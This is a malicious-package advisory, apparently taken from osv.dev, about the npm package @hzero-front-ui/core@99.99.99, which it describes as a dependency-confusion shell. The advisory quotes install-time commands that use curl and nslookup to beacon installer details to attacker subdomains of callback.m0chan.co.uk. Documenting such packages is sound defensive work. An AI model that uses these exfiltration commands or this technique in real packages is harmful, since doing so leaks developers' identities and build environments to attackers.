@hzero-front-ui/core @99.99.99
Vulnerability report · Last retrieved from osv.dev August 14, 2026 at 2:31 AM UTC
OSV ID
MAL-2026-13969
Ecosystem
npm
Summary
Package @hzero-front-ui/core@99.99.99 is a hollow shell (index.js is only module.exports = {}; ) whose sole functional content is preinstall/install lifecycle scripts. On npm install , those scripts collect the installer's username ( whoami ), hostname, current working directory, and npm package name, base64-encode the concatenation, and transmit it to attacker-controlled subdomains of callback.m0chan.co.uk via two channels: an HTTPS GET ( curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64 ) and a DNS lookup ( nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk ). The 99.99.99 version and hollow contents under an org-shaped @hzero-front-ui scope are the standard dependency-confusion shape — a public-registry high-version package published to shadow an internal namesake and beacon out from any build system that mis-resolves the internal name.
Source: amazon-inspector (7821a8d1a76ccfc9b3e0649ad6b600927c9c3448ee083d47809026588daa77ca)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.